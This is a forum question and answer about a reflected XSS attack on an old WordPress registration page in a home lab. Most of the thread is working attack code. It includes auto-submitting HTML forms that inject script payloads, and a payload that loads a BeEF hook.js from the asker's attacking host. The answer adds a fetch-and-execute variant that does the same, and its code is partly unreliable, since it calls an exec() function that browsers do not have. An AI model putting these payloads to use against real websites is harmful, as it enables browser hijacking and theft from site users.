Loading external JS script in POST parameter (XSS Reflected attack)

user_1638700 0
Viewed 826

I'm testing on my vbox machines some xss attacks, just for fun! I have two .html files one works and the other not.

The file which works is:

<html>
<head></head>
<body>
<form method="post" action="http://192.168.56.17/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='"><script>alert(1)</script>' />
<input type="hidden" name="user_email" id="user_email"
value='"><script>alert(2)</script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

http://192.168.56.17 is the OWASPBWA machines of vulnhub, which is installed an old WP installation with XSS flaw on register.php

This works. If i call this .html file from another client, let me say 192.168.56.1,for example, i see the javascript alert!

But if i try something nasty, for example hooking beef-xss, the follow code doesn't work:

<html>
<head></head>
<body>
<form method="post" action="http://192.168.56.17/wordpress/wp-register.php" >
<input type="hidden" name="action" value="register" />
<input type="hidden" name="user_login" id="user_login"
value='">example' />
<input type="hidden" name="user_email" id="user_email"
value='"><script src="http://192.168.56.101:3000/hook.js"></script>' />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>

192.168.56.101 is my attacking box.

Thanks for helping

xss javascript
1 Answers

in my opinion you should swap these 2 lines

<input type="hidden" name="user_login" id="user_login" value='">example' />
<input type="hidden" name="user_email" id="user_email" value='"><script src="http://192.168.56.101:3000/hook.js"></script>' />

reasoning: the '">example' is breaking the code and allow the script tag to take precedence.

my other best guess is that,

<input type="hidden" name="user_login" id="user_login" value='"><script>alert(1)</script>' />

if the above code works then you might want to try the javascript exec("") command within the value attribute. i doubt if the script->src actually fetch the resource.

something likethis

    <input type="hidden" name="user_login" id="user_login" value='"><script>
    fetch(&apos;location to your script:3000/hook.js &apos;)
      .then(
      response => {
        response.text()
          .then(a=> exec(a))
        
      }
      )</script>' />

Explanation: fetch the script explictly via the fetch API, then execute the string via exec("").. &apos &quot are escape chars for ' and " respectively.

thats the best i could think of.

user_121799560
Related